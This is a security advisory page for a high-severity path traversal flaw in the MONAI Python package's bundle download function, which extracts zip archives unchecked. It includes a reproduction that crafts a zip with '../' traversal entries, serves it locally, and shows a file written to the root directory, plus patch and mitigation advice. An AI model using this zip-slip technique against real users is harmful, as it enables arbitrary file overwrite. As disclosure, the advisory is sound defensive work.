MONAI does not prevent path traversal, potentially leading to arbitrary file writesGHSA-x6ww-pf9m-m73m
HIGHFix: Project-MONAI/MONAI#8568GHSA-x6ww-pf9m-m73m is a high-severity (CVSS 8.8) Path Traversal vulnerability in monai. A fix is available for monai — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-x6ww-pf9m-m73m.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
monaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.
When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
adding: malicious.txt (stored 0%)
adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip p1.py p2.py r1.py test_bundle
Then start the http service through python
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---
test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub cuda-keyring_1.0-1_all.deb home lib32 **malicious.txt** opt run sys var
bin dev init lib64 media proc sbin tmp
boot etc lib libx32 mnt root srv usr
We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.
Impact
Arbitrary file write
Repair Suggestions
Check the contents of the downloaded Zip file, or use a safer method to load it
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | monai | all versions | 1.5.1pip install --upgrade 'monai==1.5.1' |
Affected Products
medical open network for aimonaiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for monai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update monai to 1.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x6ww-pf9m-m73m is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-x6ww-pf9m-m73m in your dependencies?
Find it across PyPI, including transitive dependencies.